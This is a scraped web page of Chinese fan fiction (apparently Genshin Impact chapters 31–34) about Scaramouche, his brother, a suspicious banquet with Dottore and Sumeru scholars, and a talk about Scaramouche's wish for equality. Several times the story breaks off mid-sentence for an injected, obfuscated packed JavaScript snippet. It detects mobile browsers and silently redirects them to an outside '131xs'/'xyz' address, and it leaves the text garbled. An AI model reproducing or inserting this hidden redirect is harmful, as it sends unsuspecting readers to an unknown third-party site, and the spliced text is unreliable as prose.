;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931287|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵看起来和平常没什么不同,但他自从离开丑角办公室后几乎一言不发,只是时不时的看向月见里清也。 散兵平日里向来喜形于色,从来没有紧盯着一人却不发言的时候,月见里清也被看的浑身不自在,终于忍不住开口道:“是我得了绝症,还是明天世界末日?怎么感觉好像你明天就见不到我了一样?” 散兵骤然回神,将视线从月见里清也的神之眼上收回,“没有。” 月见里清也挑眉,“那就是丑角和你说了什么。” 这点散兵倒没否认,沉默地点点头。 他与丑角的对话没有什么刀光剑影,他只问了两个问题:“第一:虚假的星空为何包含着真实的命运。第二:神之眼持有者又为何是星空中独特的存在。” 丑角却没有回答他的问题,反而是问了一个几乎是常识的问题,“坎瑞亚亡国,你认为原因是什么?” 是神明的不近人情?还是他们自掘坟墓? 答案显然易见,散兵不假思索道:“对深渊的过度开发。” 深渊,一种不属于这个世界,秉持着生者必灭法则的力量。 散兵常年与深渊打交道,对它的特性一清二楚。它确实是一种可研究性非常高的力量,但同时也是碰都不能碰的禁忌。 五百年前坎瑞亚因对深渊力量的过度使用,给了深渊可乘之机,漆黑的灾厄蔓延至提瓦特的每一个角落。 不管哪个国家,对他们来说五百年前的灾厄不仅仅是坎瑞亚亡国,还有平息灾厄付出的代价。 从那之后,深渊蛰伏在昔日的黑日王国里,就像个不稳定的炸弹,不知哪天会再次爆炸。 “人们渴求探索星空的未知,然而星空之外,又何尝不是一片漆黑的命运。”丑角说,“为了隔绝深渊,总要采取一些手段,哪怕对世人来说这不公平,但对神明来说,这只是一点微不足道的代价。” “你的意思是,星空存在的意义是为了隔绝深渊。所谓记载真实命运的命星,不过是维持虚假之天的一种手段?”散兵说,“那么,神之眼持有者呢?” “被选中的幸运儿,但我更愿将其称为……身不由己之人。” 凡人的愿望抵达上天,由此得到神之眼。但没有那种力量是可以平白无故使用的,作为使用神之眼的代价,持有者的命运锚定星空之上,作为支撑起虚假之天的框架。 一但虚假之天破碎,神之眼持有者首当其冲,因为他们的愿望已经交付给了世界,世界将其视为最后一道防线,是万千生灵命运的最后的保障。 以神之眼持有者的命之座为支撑,用其他生灵的命星维持,这就是虚假之天的运行原理。联合全提瓦特生灵的命运来对抗世界之外的漆黑命运,这就是虚假之天的作用。 散兵面色一沉,他最坏的想法终究还是变为现实。 丑角像是看穿了他的想法,“没有任何人的牺牲是理所当然的,神明也不能宣判他人的死亡。我们的棋局之上没有弃子,斯卡拉姆齐,你是最重要的一环,你弟弟亦然。” 终有一日他会撕裂苍穹的一角,为你揭露命运的真容。 但现在,种子还远远未到萌发的时刻,暂且耐心等等。 31.邀请函 以目前的深渊情况来讲,它还处于蛰伏阶段,虚假之天还好好的挂在天上,就算深渊再次入侵,他们还有其他手段与之抗衡。 总的来说,事情还远未糟到需要这些神之眼持有者站出来和深渊自爆的程度。 散兵挑着重点将对话复述了一遍,只不过弱化了虚假之天破碎后给神之眼持有者带来的影响。 月见里清也听后没太大反应,只是轻描淡写地点评道:“有意思。” 散兵听见他这满不在乎的语气,顿时气不打一出来,“有意思?你既然这么心怀世人,怎么现在还不把女皇的神像敲了你坐上去?” 七国神明都有自己的象征词汇,冰之女皇的前象征词正是“怜爱”。 月见里清也:…… 先不说女皇现在的象征变成了什么,他要是敢敲,不说至冬,愚人众里那些女皇的追随者们就能把他片了。 “咳,不是我不在意,你也知道我从来不为未来而担忧。”月见里清也轻咳了一声说,“更何况是不知何时才发生的事,有可能是未来的未来了。” 他从不会为那些没影的事烦忧,比起未来,他更关注于此刻,这也是月见里清也从不信占卜预言之说的原因。 若是因为那不知真假的未来而影响了当下,那才是最得不偿失的一件事。 月见里清也笑盈盈地看着散兵,“不管未来如何,我们此刻是在一起的,不是吗?” 散兵看着他,没忍住跟着一起笑了起来,轻轻点了点头,回道:“对,你说的没错。” 关于陨石的调查结束后,月见里清也的工作和之前没什么两样,将暗线安插进稻妻一事完成的还算顺利,没有惊动任何人。 女士本人还在璃月未归,表面上安分守己在璃月执行自己的任务,背地里的动作可是不少。 据情报所述,邪眼工厂已经确认了选址,准备进行搭建。 虽然愚人众高层还未敲定最终去稻妻的人员,不过既然能由着女士搞这些小动作,人选多半已经内定了。 好在月见里清也的暗线早就渗透进去,“稻妻那边都安置妥当,随时等候调遣。” 散兵刚开完例会回家,正在工作室里挑工具,闻言回道:“这事不急。” 说完他示意月见里清也去拿会议简要,“先去看看那个。” 月见里清也拿着那份会议简要半天说不出来话,从工具间门外探头进来,“……这上面的意思是有个酒会需要你出席?” 散兵找到了想找的东西,简单“嗯”了一声。 “你就回我个‘嗯’?难道你不觉的奇怪吗?”月见里清也说,“除了执行官的酒会外,这种商业性的酒会你就没参加过一次,怎么这次突然就想起你了?” “不然呢,我还能说什么?”散兵忙着处理手里的东西,头都没抬道,“让开点,当着光了。” 月见里清也“啧”了一声,不满地往一旁让了让。 散兵无奈地叹口气,说道:“很可惜我没有读心的能力,不能解答你的十万个为什么。” “我是觉得有种无事献殷勤的感觉……”月见里清也探过身去,狐疑地看着他,“你真的什么都不知道?” 散兵闻言停下了手上的动作,面无表情的瞪着月见里清也。 “哥哥说不知道那肯定是不知道。”月见里清也举起双手作投降状,改口道:“或许是看中了咱们第六席执行官的绝世容貌,打算请你去做宣传呢。” “……”散兵对月见里清也满嘴跑火车的行为不给予评价,专心致致地给手里的东西收尾。 月见里清也见散兵不理他,语气里带着点抱怨,没话找话道:“酒会不都有邀请函吗,丑角没把邀请函给你?” 散兵将改好的东西往他怀里一拍,语气生硬道:“……没有。” 月见里清也垂眸看着手上的东西,晶蓝色的矿石被打磨成了饰品的样式,用绳子简单的编成了手链。 这种晶蓝色的矿石和上次他给散兵的那块矿石是同一种,名叫萃凝晶,说不上多么珍贵,月见里清也当初只是看中萃凝晶的矿芯拥有良好的韧性与塑性才选了它。 二人手上的萃凝晶成色更好,跟暗线手里的边角料不同,只不过手链上的这枚当初只是试验品,月见里清也把这枚矿石留给自己,将更好的那枚给了散兵。 散兵回来后又向他要了这枚矿石,对两枚矿石统一进行了改良。 相较于之前的单向接受功能,改进后的矿石增加了双向通讯的能力,也不在限定字数与次数,但这次改进俩人并不打算普及到所有暗线手里。 这种通讯手段已经比现有的写信、传话等等手段便捷不少,有了这个“通讯器”他们也就不必考虑时间与地点,随时都可以和对方说话。 注意力被转移的月见里清也将手链戴到手腕上,推着散兵离开工作室。 刚踏入客厅,玄关处就传来门铃声,月见里清也抬头看了一眼钟表,见已经过了下班时间,不免有些奇怪,“都到下班时间了,都不回家的吗?” 出乎他意料的是,来人不是第六席的士兵,也没穿着愚人众制服。 他们家附近就没有其他住户,也不存在着邻居串门一说,月见里清也拿不准此人的来意,“请问你是?” “不应该啊,没有错啊。”这位不请自来的陌生人比月见里清也还疑惑,反复确认了门牌号,自言自语道:“地址上说第六席执行官就住这啊,怎么开门的是个孩子啊。” ……你见过500岁的孩子? 月见里清也闻言差点被气笑,随即想到虽然他活了五百岁,但和散兵一样都是十六七岁少年的长相。 也不能完全怪面前这人眼拙,月见里清也深吸一口气,礼貌地打断了男人的碎碎念,“先生,如果你是想找散兵大人的话,那你没有找错,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945411|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里就是他的住址。” 男子从上到下审视了他一遍,口无遮拦道:“那你是谁啊?他儿子?” ……我是你爷爷。 月见里清也用了毕生的涵养才把马上就要脱口而出的脏话咽回去,费了好大劲才没直接把门拍在那人脸上,“不是,我是他弟弟。” 月见里清也的脸色已经十分难看了,男人知道自己捅了篓子,连忙道歉道:“对不住对不住,我没想到愚人众的执行官都这么……年轻?” 月见里清也耐心告罄,也不想听他的解释,直接问道:“请问你有什么事吗?” “哦哦哦,是这样。”男人拿出一份请柬,说起正事时他明显正经许多,“我家先生近期会在至冬举办一次酒会,相必执行官大人也听说了,为了表示尊敬,我是特地来送请柬的,以及刚才的事还请不要放在心上。” 月见里清也眉尾略微一挑,伸手接过请柬,暗红色的信封上印着烫金花体字母,复古的花纹样式一看就是费了不少心思,对方还特地派人送到家里来,看来对方主人家对散兵的重视不是一星半点。 可一个商业性的酒会跟散兵能有多大的关系?月见里清也心里疑惑,将男人打发走后把请柬交给散兵。 散兵自己也不知道这次酒会到底是为了什么,这一系列操作下来看着更像是一场鸿门宴。 他拆开邀请函的信封,信封上的字虽是用枫丹的本地语言写的,邀请函的内容却是由提瓦特通用语书写而成。 但散兵越看邀请函的内容脸色就越难看,月见里清也好奇地探过头去看上面到底写了什么。 他快速地扫了一遍,只见其中一行写着:如果有需要,您也可以携带您的家人或者朋友参加。 “……”月见里清也没忍住笑出了声,随后在他哥的死亡凝视下忍了回去,意味不明道:“这破酒会还怪贴心的。” 散兵的脸色堪称精彩,他把邀请函往茶几上一扔,颇有眼不见心不烦的意思。 这种商务酒会与平常的酒会不同,他的重心在于维护主办方与合作方的关系,发掘有潜力的合作对象,还可以推销产品和技术。 总之商务酒会和一般注重交友社交的酒会不同,这种涉及企业秘密的酒会通常不会特意说明是否能携带亲眷参加。 愚人众执行官的职务都各不相同,平日里各司其职,彼此的人脉都各不相通。 通常来说,像这种富商政要一般只会交给第九席的潘塔罗涅和第五席的普契涅拉,和第六席的边都搭不上。 到底是主办贴心还是事先调查过,这就不得而知了。 虽然这场酒会让人觉得疑惑重重,但还不足以让两人严阵以待,散兵倒不是很在意酒会上会如何,对付生意场上这些各怀鬼胎的人无非就是兵来将挡水来土掩,迄今为止还没有人能从他这里讨到便宜。 说到底这只是一场酒会,还能比下深渊更危险? 32.酒会搭子速成记 对于月见里清也来说,他也没想到自己还有参加上流社会酒会的一天。 之前参加的酒会都是愚人众内部的庆功宴,十个执行官凑一起,这里面的刀光剑影就不必多说,去了一次就再也不想去第二次。 也正是因为不常去酒会,他的正装只有一身,整套衣服更偏向枫丹款式,却在花纹样式上的样式上融入了稻妻元素。 为了配合这套枫丹风格的服装,他还特意将长发扎成低马尾,把平日里带的流苏耳饰换成耳钉,散兵倒和平时并没有太大区别,单凭这幅长相就已经不需要配饰来做陪衬了。 俩人往那里一站,就像贵族家的两位少爷,由于来的时间较早,还没到正式宴席的开始时间。散兵和月见里清也递完请帖后,被人引着进入一个小型的会客厅,在宴席开始前,这里就是欢迎酒会的场所。 虽然作为宴会的“前菜”,档次却一点不输正式宴会,四周挂着的华贵饰品多的让人应接不暇,地上铺着花纹复杂的地毯,桌上摆着的都是银制的餐具和瓷器,一旁还有乐队现场奏乐。 这场地原本只是至冬的一家饭店,绝对没有这些奢侈的装饰。 主办方可以用两个字形容,有钱。 二人并不是唯一这个时间段来的人,这些提前到来衣着华丽的人们很快注意到刚进来的兄弟二人。 四周目光有意无意的从他们身上划过,有好奇的、有探究的……甚至还有审视的。 月见里清也回头一看,正好撞上一位女士欣赏的目光,他礼貌地微笑点头作为回应,像一位优雅得体的小绅士。 那位女士没料到他突然回头,有些羞怯的做出同样的回应。 借着这个机会,月见里清也不着痕迹地将四周的来宾粗略地看了一遍。 宴会并不是什么庄重肃穆的见面会,邀请函里并没有写着必须穿礼服,但穿正装参加宴会算是对主办方的尊重,在此基础上想要加入其他装饰则全看个人意愿。 像他和散兵身上的稻妻元素,其他宾客的衣服上多少都带着他国元素。除非特别喜欢别国服装,否则单凭装饰的风格,就可以断定此人来自那个国家。 现场多是至冬与枫丹人,只有一小撮人群引起了月见里清也的注意。 月见里清也若无其事的收回视线,跟散兵一起寻了个清净的角落,轻轻拍了一下散兵的手,小声道:“来往的宾客里还有须弥人,看不出身份,不像富商。” 散兵微微一点头。 欢迎酒会目的就是让来往宾客在正式宴会前打破僵硬感,给大家一个社交的环境,寻找安静的地方不社交基本是不可能的,要是长的好看就更不可能了。 以往在愚人众的宴会没几个人敢在执行官大人面前寒暄问暖,但这些他国富商可不知他们是谁,再加上少年的样貌,广受女性宾客的欢迎。 最先找他们搭话的是一开始偷看他们被月见里清也发现的那位女士,散兵对月见里清也使了个“你惹的你去处理”的眼神,就将他推了出去。 月见里清也骤然从陪衬变成主角,只得匆忙挂起那副礼貌的面孔,和那位女士闲谈几句。 然而人都有从众心里,有了女生的成功开头,不少人也见状加入话题之中,人数的增多让月见里清也应接不暇,散兵只好出来配合他打圆场。 俩人一块这些自诩“姐姐”“哥哥”的宾客送走后,平日里跟人相处最为圆滑的月见里清也都有些应付不来。 他拿起宴会桌上放着的高脚杯,抿了一口,随后脸色古怪的又给回桌上。 “怎么了?”散兵问道。 月见里清也恨不得将喝进去的那一口酒吐出来,但这样做实在不雅,他只能忍着那股直冲脑门的清凉,指着那杯酒简言意骇道:“薄荷。” 每个人都有自己不喜欢吃的东西,就好比散兵不喜欢吃甜食,月见里清也完全接受不来薄荷吃进嘴里的味道和直冲脑门的清凉。 高脚杯中的液体清澈无色,不亲自尝一下还以为是蒲公英酒或者是水,也不怪月见里清也会认错。 散兵忍俊不禁,从桌上的三层架上拿了块马卡龙放到他手里。 月见里清也郁闷地嚼着嘴里的马卡龙,默默的在心里把这次宴会所有的酒都划进黑名单。 欢迎酒会持续的时间不会太长,毕竟正式宴会才是重头戏。 正式宴会上的座次都是提前定好的,散兵的位置排在靠前处,作为陪同的月见里清也自然而然的被安排在他旁边。 靠前的位置上除了那些重要的富商们其他的都算老熟人,但有一个老熟人的出现让月见里清也倍感意外。 第九席『富人』潘塔罗涅一旁的位置上坐的是第二席『博士』多托雷。 除了执行官例会,一个场合下能够同时出现散兵和博士,月见里清也都得怀疑他俩是不是又做了什么交易。 毕竟过往种种都在这摆着,也不怪他多想。 宴会的主题就是一场新材料和技术的交流会,听了几位须弥学者的发言后,即使月见里清也对这方面没有研究,也注意到这些发言虽然说的冠冕堂皇,却掩盖不了这是用到战场上的事实。 尤其是新材料的硬度,比市场上已知的材料都要好上几倍。 月见里清也突然想到散兵临时先去了一趟总部,再回来和他一起参加酒会的。 他目光游离到散兵身上,微微出神,或许散兵临时去的不是总部,而是第二席的实验室? 享用美食对这帮富商政要只是添头,因此并未持续太长时间。 月见里清也和散兵还未离开席位,就见一位男侍者过来,礼貌鞠躬道:“打扰了,斯卡拉姆齐大人,我家先生想请您过去。” 只提了散兵一人,月见里清也抬头看向对面的桌子,见博士也离开了席位,他瞬间了然,“你去吧,我去找卡斯珀。” 散兵点点头,跟着侍者离开。 月见里清也看向其他的位置,果不其然,坐在几个靠前位置上的都被侍者请走了。 他刚才说要找卡斯珀并不是缓解尴尬的借口,而是在入座时看到了卡斯珀的身影。 宴会邀请的人并不多,放眼一看就能知道个大概,月见里清也很轻易的就找到杵在角落里尽量降低自己存在感的卡斯珀。 “如果你是在想还有多久才能结束那我只能遗憾的告诉你,最起码还有一个小时。”月见里清也看着手里的怀表说。 卡斯珀在陌生的环境中硬撑了一晚上,猛的看见月见里清也就和看到家人一样,喜悦之情溢于言表:“可算见到个熟人!” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952592|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去快要给我个贴面礼了。”月见里清也嫌弃地说,“坐前面的不都老熟人吗。” 卡斯珀知道他指的是博士,“认识不代表我和他很熟,难道你会对着他来一句‘晚上好,吃饭了吗’?” 月见里清也还真设想了一下,随后脸色一变:“你别恶心我。” 卡斯珀一摊手,随后说:“不说这个了,怎么就你自己,散兵大人呢?” “被主办方叫走了,说是有事要商量。”月见里清也说完后注意到卡斯珀变得有些古怪的脸色,问道:“怎么,这有什么问题?” “不,很正常,但没有问题才是最大的问题。”卡斯珀说,“刚才宴会的发言你都听了吧?” 月见里清也点头。 “那种材料只要看一下显示出来的数据,就会发现它的亮点根本不是硬度,而是可塑性。”卡斯珀说着皱了皱眉,“一般会被用来制造杀伤性大的武器。” 或许真如卡斯珀所说,是不是准备研发什么新式武器,但月见里清也觉得这件事远不止此。 这场酒会最大的问题就是邀请了散兵这个不该邀请的人。 试问一个主要负责机动支援和探索深渊的执行官,会在什么情况下会出席商业酒会? 自然是主办方眼里的拉拢对象。 而远在他国的主办方想知道散兵的存在也很容易,毕竟除了月见里清也之外,这里还有一个熟知他身世的同事啊。 散兵身上的封印已经解除,他们二人的合作早就结束。可作为神之子,“神明”二字是他这辈子也洗不掉的标签。 博士对散兵的那份兴趣并没有在他完成“切片”研究时消失,反而随着时间推移变成了更加疯狂的想法——造神。 月见里清也被自己的想法吓了一跳,他抬手按住卡斯珀,打断了分析:“别说了。” “怎么?”卡斯珀不解。 月见里清也却没解释为什么,反而问起另一件事:“你在宴会上也和那帮学者交流了?” 卡斯珀摇摇头否认道:“这倒没有,除了上台显示之外,那帮学者就和修了闭口禅一样,半点消息都不透露。” 说来卡斯珀也疑惑,明明是来展示推销自己的研究成果,下台后却只字不提,难道不怕无人问津? “他们笃定你会参与这件事。”月见里清也说,“那帮学者早就和执行官谈完合作了,所以才不会推销自己,相反他还要保密。” “猜到了。”卡斯珀说,“我还没跟你说,我不久前接到了去须弥的保密任务,十有八九就是这件事,所以酒会上才会有须弥的学者。” 月见里清也对卡斯珀做了一个暂停的手势,“憋在心里,参加这个计划的时候也别太出力,别出头。” 卡斯珀疑惑地看着他。 但月见里清也说这句后就闭口不言,卡斯珀也不是看不懂气氛的人,识趣地将话题打断,转而谈起别的事情。 知道的越少越好,卡斯珀就是个拿工资养活全家的社畜,深谙这句话的道理。 即使心里知道,也要表面上装的不知道,因为从月见里清也得表现来看这件事或许跟第六席有所牵扯。 如果在这件事上第六席出了什么意外,跟第六席执行官以及副官交情颇深的卡斯珀就可以明哲保身。 33.月光独白 宴会结束后桌子被撤下,中间空出的场地就成了这些绅士女士的舞池,水晶灯的光芒将他们身上的礼服照的更加光彩夺目。 月见里清也看了没一会就觉得眼疼移开了视线,欢快的舞曲没有感染角落里“愁云惨淡”的二人。 “哎。”卡斯珀叹了口气,突然开口道:“我是不是该换份工作了?” 月见里清也罕见地没打趣他,扯出一抹笑,“实在不行搬去须弥给妹妹陪读去吧。” 斯黛拉从小对星星感兴趣,长大后也在至冬钻研星相学。学习成绩也算优异,被她老师去须弥教令院那边的继续进修。 这件事卡斯珀之前提到过,闻言还真认真想了一会:“好想法,我回去就写辞职报告。” 月见里清也却说:“我是认真的,卡斯珀。” 长生种的退伍年限会比普通人长很多,即使如此,卡斯珀也到了年限,但他拖着没去办手续,推辞道:“再等两年吧,我要走了可就光剩你和大人了。” “没有人会在岗位上干一辈子的。”月见里清也拍了拍他,“给自己留条退路。” 回到家中已经是深夜,月见里清也没有丝毫困意,跟散兵面对面坐在沙发上,努力板着一张脸,跟他哥干瞪眼。 散兵:“……干什么?” “坦白从宽,抗拒从严。”月见里清也干巴巴的憋出一句。 散兵啼笑皆非:“咱们家什么时候改成审讯科了?” 要真的是审讯科就好了,面对嘴硬的犯人,月见里清也可以适当的动点手段逼迫他们说出口。但面对散兵,就算他一个字也不说,月见里清也也不能对他做些什么。 但酒会上的疑点实在太多,月见里清也率先开口道:“我只问一个问题,这场酒会的参与者是不是冲着你的身份来的。” 散兵知晓他指的不是“愚人众执行官”这一身份,而是被他抛弃遗忘的过去。但既然决定要拿雷神之心,就要做好重新拾起这个身份的准备。坦然道:“是,也可以说不是。” “怎么说?” “酒会的目的是还是须弥和至冬的合作,至于那边筹谋着什么计划我不清楚,可以确认的是,他们在博士的窜动下,预谋着一些大逆不道的事。”散兵说,“至于我,仅仅是他们想拉拢的对象。” “如果非要说这场酒会的最终得利者是谁,恐怕还是多托雷那个疯子,用花言巧语将自己疯狂的计划包装成蜜糖,哄骗得那帮学者马首是瞻。”散兵说着说着就笑出了声,“难道他们忘了许多年前是自己亲手将他逐出教令院的吗?” 执行官的身世在高层里不算秘密,月见里清也闻言并不震惊,略作点评道:“比起女士强硬的外交手段,还是博士潜移默化渗透进管理层,给对方来个釜底抽薪更狠一点。” “所以说,他就是个只关心自己实验的疯子罢了。”散兵说,“他甚至对此并不满足,还妄图拖我下水。” “博士、主办方、须弥学者。”月见里清也掰着手指挨个点名,并作出了统一点评,“无事献殷勤,非奸即盗。” 散兵赞许地看了他一眼。 但月见里清也话锋一转,“老实说,我以为你会答应,毕竟各怀鬼胎的合作对象在你眼里都是可以接受的‘风险’。” 之前与博士的合作,都能被散兵说成“各取所需”。 “如果能给我带来不菲的回报,我自然会考虑,但很遗憾他们所谓的宏图霸业目前都处于理论阶段。”散兵回想起那些人的长篇大论就觉得糟心,“花了一晚上听他们展望未来,简直是浪费时间。” 就如散兵所言,这份合作对他来说,没有好到让人无法拒绝的条件。不论神之心还是登神,他自己都可以办到,无非多花一点时间和精力。 反而是与博士合作弊端更加明显,女皇虽然赐予执行官们极大的自由,但最终必须将神之心拿回来。 试问,冰之女皇会同意用神之心来帮助手底下的执行官登神吗? 当然不可能。 既然博士以拿回神之心为第一要务,散兵何必趟这趟浑水,给自己找不痛快。 况且有关这场实验的计划目前都是理论,并没有到实践这一步。技术不成熟,散兵自然也不会冒风险去赌。 “他自以为自己开的条件可以打动你,可是他从来都没弄清楚你心里的执念是什么。”月见里清也故作轻松的对散兵眨了眨眼。 平日里他不会轻易的提起这个话题,即使不小心提到了也会很快地打哈哈糊弄过去,正儿八经讨论这件事还是第一次。 月见里清也也在紧张,只是事情到了这步,有些事也该重见天日了。 散兵听后沉默片刻,他明白月见里清也的意思。博士只要跟他提出合作意向,就没有那么容易放弃,假以时日有可能会提出一个他无法拒绝的条件。 但博士将一切看作一场实验,他对神明没有半点敬畏之心。而须弥教令院的那帮学者,比起拥护他登神更想控制他并却而代之。 到那时,能够信奉自己并提供助力的只有月见里清也一人。也正因此,散兵需要和月见里清也交底。 客厅落地窗没有拉上,散兵抬眼就能看见窗外的月亮,他重新望向月见里清也,“说说看,我的执念是什么?” 月见里清也猛地松了口气,随后才意识到自己有些过于紧张了,他笑了笑说:“在我叙述我的观点之前,我想先问一个问题。” “你想要成神真的是因为巴尔泽布吗?” 散兵语气生硬,“这二者有什么关系?” 月见里清也挑眉,“人类普遍认为,人会对自己得不到的东西产生执念。这个观点或许是对的,毕竟你没有打算将雷神之心拱手让人。” 关于这点散兵不想否认,雷神之心是属于巴尔泽布的,但是从某种意义上来说,那也是本该属于他的东西。 “所以博士会认为,你对神之心的渴望也映射了你对雷电将军的情感。”月见里清也说,“但是哥哥,五百年了,别告诉我你真的想向雷电将军证明自己。” 这就是纯造谣了。 散兵被他后半句话恶心到了,“胡说八道。” 月见里清也浑不在意,继续说:“可你在人们面前就是伪装成这幅样子,你可以用这个理由去搪塞博士,去应付其他人,但你真实的想法绝不是这样,否则这就太不像你了。” “我没有别的意思。”月见里清也脸上仍挂着那幅不着调的笑容,起身给他倒了杯水,“这难道不是表明你隐藏的很好吗?” 散兵木着脸接过那杯水,也不知道在想什么,过了片刻才说:“只要消除差异,这世界也许不会有那么多悲剧了。” “但‘差异’这个概念太笼统了。”月见里清也找了个舒服的姿势坐下,继续听他哥讲话。 散兵看着有沙发不坐非要坐地毯的人,在心里叹了口气,懒得管他,选了个更容易理解的例子:“四百年前的踏鞴砂,为什么御舆长正会突然抓我们?” 开始这个话题前,月见里清也就做好会牵扯到几百年前的陈芝麻烂谷子的准备了,可骤然听到一个都能被写进历史课本的“老熟人”还是不免一愣。 御舆长正,鬼族御舆千代的养子。月见里清也对他熟悉也仅仅是因为四百年前他在踏鞴砂担任目付一职。 当年踏鞴砂御影炉心泄露,在跟着散兵多方寻求无果后,他们毅然决然的选择依靠自己关停炉心。 等到他们成功关停炉心后,迎接他们的不是众人的欢呼,而是被御舆长正关进了大牢。 个中理由,其实也不难猜。 “因为他的养母被深渊侵染了神志,对着雷神挥刀,随后失踪不知去向,但御舆家因此衰败。”月见里清也回答道:“御影炉心出事,丹羽畏罪潜逃后,他就是顺位负责人,作为御舆家的继承人,承担着复兴大任,怎么可能背上这么大的罪名,我们只是替罪羊罢了。” “替罪羊有很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在借景之馆被散兵唤醒前压根没有自我意识,但他知道散兵与自己不同。在被雷电将军创造出来的那一刻,散兵就有清楚的自我认知,也因此他知道自己是用来存放神之心的“原型人偶”。 相比现在,四百年前的散兵可以用天真和轻信他人来形容,想要找寻一颗属于自己的“心”这种想法自然告知过丹羽久秀。 然后丹羽久秀随手给了他一个无辜之人的心,这和杀人诛心有何区别? 月见里清也在一旁怒火中烧,原本重提旧事脸色不是很好看散兵有些哭笑不得:“放过那个可怜的杯子吧,都过去四百年了,现在生气有什么用?” 心里还是窝火的月见里清也气呼呼地把杯子放开,闷声道:“知道咱们秘密的就他们两个,不管是谁泄密,御舆长正抓咱们肯定是因为知道了咱们是两个‘异类’,死两个可能对他们产生威胁的‘异类’,总好过死自己人。这也能解释为什么山村那些知道我身份的人看我和见了鬼一样。” 因为散兵和他在那些人的眼里不是同类,是异类和怪物。 月见里清也此刻也明白散兵所说的“差异”了。 踏鞴砂的众人、身患重病而早夭的小男孩……除去他们,这世上还有很多因疾病或各种缺陷而不同于常人的人。 促成这些悲剧并非是哪一方的过错,只是大家生来的差异促成了这一切。 所以只要消除差异,他就可以让这一切悲剧都不再发生。换言之,散兵成神的愿望从来不是为了向巴尔泽布证明自己,他想要“平等”。 消除差异,这世上不再会有人惧怕人偶,身患重病或残疾之人不会再被众人歧视,平民百姓不用活在官僚的压迫之下,因为大家生来都是相同的,是平等的。 “这种差异在人们心中根深蒂固,想要摆脱它绝非易事。”散兵说,“但我会为不平的众生编织万物平等的世界。” 34.前往『永恒』的契机 不管酒会上博士与须弥一方达成了怎样的协定,这些都已经与散兵无关了。 月见里清也原本以为博士仍不会放弃这个炙手可得的机会,但出乎意料的,接下来的一段时间内,第二席安分守己到让人匪夷所思。 彼此之间相安无事不算什么坏事,井水不犯河水,月见里清也对现状还是比较满意的。 女皇目前没有选派其他执行官前往稻妻的意思,但这个任务多半还是落在了女士的身上。她现在还在璃月和公子找寻岩神之心,身无乏术,一时半会根本回不来。月见里清也只好和散兵一起继续做好本职工作,等待时机成熟。 终于在小半年后,女士从璃月拿来了岩神之心,稍作停留一段时间后,接着马不停蹄地赶去了稻妻。 而女士前脚刚走,后脚散兵就命月见里清也给稻妻的暗线发了任务。 由于稻妻的锁国政策,消息向外传递慢的出奇,即使月见里清也的情报网已经渗透到稻妻,也有简化版通讯器的存在,但在雷暴这种高浓度雷元素和距离过远的影响下,情报传回的频率极不稳定。 但好在一切都按计划进行,潜伏在邪眼工厂的暗线并没有露出马脚。不出意外的话,他们只需要在至冬老老实实的待着,等着女士向他们求援就行了。 月见里清也像往常一样去散兵办公室汇报工作,不想在半路就有人拦住他。 “月见里大人!”那人喊道。 月见里清也停下脚步见一名士兵从后面迎面快步跑过来,甚至因为刹车太急顺着惯性往前冲了几步才堪堪停下。 来人是情报科所属下的士兵,月见里清也等他将气喘匀,才示意他跟自己一道走,“稻妻那边有新的情况?” 情报科士兵点头,“第八席那边申请第六席的援助。” “什么?”月见里清也停住脚步猛地一回头,力度过大差点闪了脖子,疑心自己听错了,“第八席求助?情报拿来我看!” 就如之前所说,除了直接下派的任务,第六席平日都是处于随机待命状态,只要某个执行官需要,他们随时都可以出发支援。 但两位执行官关系紧张,能让女士放下身段求援,月见里清也可能会怀疑自己耳朵出了问题,而现在这句话简直如同天籁之声。 扫了一眼盖在文件后面的印章,确实是第八席的公章没错,月见里清也立刻掉头返回来时的路,将小士兵撇在身后。 “大人!”月见里清也推开执行官办公室的门,考虑到现在是上班时间,他进门时没忘改称呼。 正在听下属工作的散兵注意到月见里清也严肃的神情,抬手止住一旁士兵有些磕磕绊绊的工作汇报,示意他们将文件放下离开。 原本有些战战兢兢的士兵们一见这动作瞬间如蒙大赦,脚底抹油一般飞快的离开办公室,生怕执行官改主意。 